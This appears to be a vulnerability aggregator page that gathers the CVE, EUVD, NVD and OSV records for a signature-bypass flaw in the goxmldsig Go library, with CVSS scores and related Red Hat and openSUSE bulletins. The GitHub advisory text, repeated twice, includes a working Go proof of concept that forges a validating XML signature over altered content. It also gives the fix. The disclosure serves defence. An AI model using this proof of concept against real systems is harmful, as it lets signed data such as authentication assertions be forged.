goxmldsig has validateSignature Loop Variable Capture Signature Bypass
cve-program · CVE-2026-33487
Publishedgoxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.
Read the publisher's advisoryeuvd · EUVD-2026-16281
Publishedgoxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.
Read the publisher's advisorynvd · CVE-2026-33487
Publishedgoxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.
Read the publisher's advisoryosv · GHSA-479m-364c-43vc
Published### Details The `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. ------ ### Technical Details The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration. As a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria. Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue. ```````go // goxmldsig/validate.go (Lines 309-313) for _, _ref := range signedInfo.References { if _ref.URI == "" || _ref.URI[1:] == idAttr { ref = &_ref // <- Capture var address of loop } } ``````` ----- ### PoC The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature. ``````go package main import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "encoding/base64" "fmt" "math/big" "time" "github.com/beevik/etree" dsig "github.com/russellhaering/goxmldsig" ) func main() { key, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { panic(err) } template := &x509.Certificate{ SerialNumber: big.NewInt(1), NotBefore: time.Now().Add(-1 * time.Hour), NotAfter: time.Now().Add(1 * time.Hour), } certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key) if err != nil { panic(err) } cert, _ := x509.ParseCertificate(certDER) doc := etree.NewDocument() root := doc.CreateElement("Root") root.CreateAttr("ID", "target") root.SetText("Malicious Content") tlsCert := tls.Certificate{ Certificate: [][]byte{cert.Raw}, PrivateKey: key, } ks := dsig.TLSCertKeyStore(tlsCert) signingCtx := dsig.NewDefaultSigningContext(ks) sig, err := signingCtx.ConstructSignature(root, true) if err != nil { panic(err) } signedInfo := sig.FindElement("./SignedInfo") existingRef := signedInfo.FindElement("./Reference") existingRef.CreateAttr("URI", "#dummy") originalEl := etree.NewElement("Root") originalEl.CreateAttr("ID", "target") originalEl.SetText("Original Content") sig1, _ := signingCtx.ConstructSignature(originalEl, true) ref1 := sig1.FindElement("./SignedInfo/Reference").Copy() signedInfo.InsertChildAt(existingRef.Index(), ref1) c14n := signingCtx.Canonicalizer detachedSI := signedInfo.Copy() if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil { detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace) } canonicalBytes, err := c14n.Canonicalize(detachedSI) if err != nil { fmt.Println("c14n error:", err) return } hash := signingCtx.Hash.New() hash.Write(canonicalBytes) digest := hash.Sum(nil) rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest) if err != nil { panic(err) } sigVal := sig.FindElement("./SignatureValue") sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig)) certStore := &dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{cert}, } valCtx := dsig.NewDefaultValidationContext(certStore) root.AddChild(sig) doc.SetRoot(root) str, _ := doc.WriteToString() fmt.Println("XML:") fmt.Println(str) validated, err := valCtx.Validate(root) if err != nil { fmt.Println("validation failed:", err) } else { fmt.Println("validation ok") fmt.Println("validated text:", validated.Text()) } } `````` ----- ### Impact This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature. ------ ### Remediation Update the loop to capture the value correctly or use the index to reference the slice directly. ``````go // goxmldsig/validate.go func (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error { var ref *types.Reference // OLD // for _, _ref := range signedInfo.References { // if _ref.URI == "" || _ref.URI[1:] == idAttr { // ref = &_ref // } // } // FIX for i := range signedInfo.References { if signedInfo.References[i].URI == "" || signedInfo.References[i].URI[1:] == idAttr { ref = &signedInfo.References[i] break } } // ... } `````` ---- ### References https://cwe.mitre.org/data/definitions/347.html https://cwe.mitre.org/data/definitions/682.html https://github.com/russellhaering/goxmldsig/blob/main/validate.go ----- **Author**: Tomas Illuminati
Read the publisher's advisoryosv · GO-2026-4753
PublishedLoop Variable Capture Signature Bypass in goxmldsig in github.com/russellhaering/goxmldsig
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-33487
Publishedgoxmldsig has validateSignature Loop Variable Capture Signature Bypass
goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.
- Source published
- 26 Mar 2026 17:17:51 UTC
- Source modified
- 9 Sep 2026 12:05:00 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
euvd · EUVD-2026-16281
Publishedgoxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…
goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Mar 26, 2026, 5:17:51 PM
dateUpdated: Sep 9, 2026, 12:05:00 PM
9 related source bulletins · separate from aliases
RHSA-2026:13548: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.15.2 security update
CVE-2025-13465 · CVE-2025-58183 · CVE-2025-61726 · CVE-2026-4645 · CVE-2026-22029 · CVE-2026-25639 · CVE-2026-29063 · CVE-2026-32285 · CVE-2026-33186 · CVE-2026-33487 · CVE-2026-40175
RHSA-2026:20946: Red Hat Security Advisory: Red Hat OpenShift GitOps v1.18.6 security update
CVE-2026-4800 · CVE-2026-32281 · CVE-2026-33186 · CVE-2026-33487 · CVE-2026-34986
RHSA-2026:22423: Red Hat Security Advisory: Multicluster Global Hub 1.3.4 security update
CVE-2026-21728 · CVE-2026-25679 · CVE-2026-27137 · CVE-2026-32282 · CVE-2026-32283 · CVE-2026-32285 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-33487 · CVE-2026-33815 · CVE-2026-33816 · CVE-2026-34986 · CVE-2026-41602 · CVE-2026-41603 · CVE-2026-41604 · CVE-2026-41605 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-41636 · CVE-2026-43869
RHSA-2026:20943: Red Hat Security Advisory: Red Hat OpenShift GitOps v1.19.4 security update
CVE-2026-4800 · CVE-2026-32281 · CVE-2026-33186 · CVE-2026-33487 · CVE-2026-42880
RHSA-2026:22347: Red Hat Security Advisory: Multicluster Global Hub 1.4.5 security update
CVE-2026-4427 · CVE-2026-21728 · CVE-2026-25679 · CVE-2026-27137 · CVE-2026-27889 · CVE-2026-29785 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-32283 · CVE-2026-32285 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-33215 · CVE-2026-33216 · CVE-2026-33217 · CVE-2026-33218 · CVE-2026-33219 · CVE-2026-33247 · CVE-2026-33413 · CVE-2026-33487 · CVE-2026-33810 · CVE-2026-33813 · CVE-2026-33997 · CVE-2026-34040 · CVE-2026-34986 · CVE-2026-40890 · CVE-2026-41602 · CVE-2026-41603 · CVE-2026-41604 · CVE-2026-41605 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-41636 · CVE-2026-43869
RHSA-2026:23345: Red Hat Security Advisory: Multicluster Global Hub 1.6.2 security update
CVE-2026-4427 · CVE-2026-21728 · CVE-2026-25679 · CVE-2026-27137 · CVE-2026-27889 · CVE-2026-29785 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-32283 · CVE-2026-32285 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-33215 · CVE-2026-33216 · CVE-2026-33217 · CVE-2026-33218 · CVE-2026-33219 · CVE-2026-33247 · CVE-2026-33413 · CVE-2026-33487 · CVE-2026-33810 · CVE-2026-33813 · CVE-2026-33997 · CVE-2026-34040 · CVE-2026-34986 · CVE-2026-40890 · CVE-2026-41602 · CVE-2026-41603 · CVE-2026-41604 · CVE-2026-41605 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-41636 · CVE-2026-43869
RHSA-2026:36882: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.14.3 security update
CVE-2025-13465 · CVE-2025-47907 · CVE-2025-48431 · CVE-2025-61726 · CVE-2025-61728 · CVE-2025-61729 · CVE-2025-62718 · CVE-2026-22029 · CVE-2026-22610 · CVE-2026-25639 · CVE-2026-25681 · CVE-2026-29063 · CVE-2026-32285 · CVE-2026-33186 · CVE-2026-33487 · CVE-2026-40175 · CVE-2026-40293 · CVE-2026-40895 · CVE-2026-41602 · CVE-2026-41603 · CVE-2026-41604 · CVE-2026-41605 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-43869 · CVE-2026-43870 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44990
RHSA-2026:21769: Red Hat Security Advisory: Multicluster Global Hub 1.5.4 security update
CVE-2026-4427 · CVE-2026-21728 · CVE-2026-25679 · CVE-2026-27137 · CVE-2026-27889 · CVE-2026-29785 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-32283 · CVE-2026-32285 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-33215 · CVE-2026-33216 · CVE-2026-33217 · CVE-2026-33218 · CVE-2026-33219 · CVE-2026-33247 · CVE-2026-33413 · CVE-2026-33487 · CVE-2026-33810 · CVE-2026-33813 · CVE-2026-33997 · CVE-2026-34040 · CVE-2026-34986 · CVE-2026-40890 · CVE-2026-41602 · CVE-2026-41603 · CVE-2026-41604 · CVE-2026-41605 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-41636 · CVE-2026-43869
openSUSE-SU-2026:11126-1: velociraptor-0.7.0.4.git185.a5708584-2.1 on GA media
CVE-2023-45288 · CVE-2024-45339 · CVE-2025-13465 · CVE-2025-22868 · CVE-2025-22869 · CVE-2025-22870 · CVE-2025-22872 · CVE-2025-24358 · CVE-2025-47911 · CVE-2025-58058 · CVE-2025-58181 · CVE-2025-58190 · CVE-2025-5889 · CVE-2025-64718 · CVE-2025-6545 · CVE-2025-6547 · CVE-2025-7783 · CVE-2026-1229 · CVE-2026-25128 · CVE-2026-25680 · CVE-2026-25681 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27136 · CVE-2026-2739 · CVE-2026-27606 · CVE-2026-27904 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-33487 · CVE-2026-33814 · CVE-2026-34986 · CVE-2026-39821 · CVE-2026-39827 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39833 · CVE-2026-39834 · CVE-2026-39835 · CVE-2026-42039 · CVE-2026-42502 · CVE-2026-42506 · CVE-2026-42508 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-46598
- Source published
- Mar 26, 2026, 5:17:51 PM (timezone not stated)
- Source modified
- Sep 9, 2026, 12:05:00 PM (timezone not stated)
- Saved here
- 15 Nov 2026 10:03:28 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
nvd · CVE-2026-33487
Publishedgoxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…
goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-347 · CWE-682
Original publisher date fields
published: 2026-03-26T18:16:30.070
lastModified: 2026-09-09T13:19:24.923
1 source CPE criteria · context only
- cpe:2.3:a:goxmldsig_project:goxmldsig:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 26 Mar 2026 18:16:30 UTC
- Source modified
- 9 Sep 2026 13:19:24 UTC
- Saved here
- 25 Oct 2026 08:17:24 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
osv · GHSA-479m-364c-43vc
PublishedvalidateSignature Loop Variable Capture Signature Bypass in goxmldsig
### Details The `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. ------ ### Technical Details The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration. As a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria. Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue. ```````go // goxmldsig/validate.go (Lines 309-313) for _, _ref := range signedInfo.References { if _ref.URI == "" || _ref.URI[1:] == idAttr { ref = &_ref // <- Capture var address of loop } } ``````` ----- ### PoC The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature. ``````go package main import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "encoding/base64" "fmt" "math/big" "time" "github.com/beevik/etree" dsig "github.com/russellhaering/goxmldsig" ) func main() { key, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { panic(err) } template := &x509.Certificate{ SerialNumber: big.NewInt(1), NotBefore: time.Now().Add(-1 * time.Hour), NotAfter: time.Now().Add(1 * time.Hour), } certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key) if err != nil { panic(err) } cert, _ := x509.ParseCertificate(certDER) doc := etree.NewDocument() root := doc.CreateElement("Root") root.CreateAttr("ID", "target") root.SetText("Malicious Content") tlsCert := tls.Certificate{ Certificate: [][]byte{cert.Raw}, PrivateKey: key, } ks := dsig.TLSCertKeyStore(tlsCert) signingCtx := dsig.NewDefaultSigningContext(ks) sig, err := signingCtx.ConstructSignature(root, true) if err != nil { panic(err) } signedInfo := sig.FindElement("./SignedInfo") existingRef := signedInfo.FindElement("./Reference") existingRef.CreateAttr("URI", "#dummy") originalEl := etree.NewElement("Root") originalEl.CreateAttr("ID", "target") originalEl.SetText("Original Content") sig1, _ := signingCtx.ConstructSignature(originalEl, true) ref1 := sig1.FindElement("./SignedInfo/Reference").Copy() signedInfo.InsertChildAt(existingRef.Index(), ref1) c14n := signingCtx.Canonicalizer detachedSI := signedInfo.Copy() if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil { detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace) } canonicalBytes, err := c14n.Canonicalize(detachedSI) if err != nil { fmt.Println("c14n error:", err) return } hash := signingCtx.Hash.New() hash.Write(canonicalBytes) digest := hash.Sum(nil) rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest) if err != nil { panic(err) } sigVal := sig.FindElement("./SignatureValue") sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig)) certStore := &dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{cert}, } valCtx := dsig.NewDefaultValidationContext(certStore) root.AddChild(sig) doc.SetRoot(root) str, _ := doc.WriteToString() fmt.Println("XML:") fmt.Println(str) validated, err := valCtx.Validate(root) if err != nil { fmt.Println("validation failed:", err) } else { fmt.Println("validation ok") fmt.Println("validated text:", validated.Text()) } } `````` ----- ### Impact This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature. ------ ### Remediation Update the loop to capture the value correctly or use the index to reference the slice directly. ``````go // goxmldsig/validate.go func (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error { var ref *types.Reference // OLD // for _, _ref := range signedInfo.References { // if _ref.URI == "" || _ref.URI[1:] == idAttr { // ref = &_ref // } // } // FIX for i := range signedInfo.References { if signedInfo.References[i].URI == "" || signedInfo.References[i].URI[1:] == idAttr { ref = &signedInfo.References[i] break } } // ... } `````` ---- ### References https://cwe.mitre.org/data/definitions/347.html https://cwe.mitre.org/data/definitions/682.html https://github.com/russellhaering/goxmldsig/blob/main/validate.go ----- **Author**: Tomas Illuminati
- Source published
- 18 Mar 2026 20:18:22 UTC
- Source modified
- 10 Sep 2026 03:50:37 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Publisher rating · HIGH
osv · GO-2026-4753
PublishedLoop Variable Capture Signature Bypass in goxmldsig in github.com/russellhaering/goxmldsig
Loop Variable Capture Signature Bypass in goxmldsig in github.com/russellhaering/goxmldsig
- Source published
- 27 Mar 2026 18:39:44 UTC
- Source modified
- 30 Mar 2026 14:29:32 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.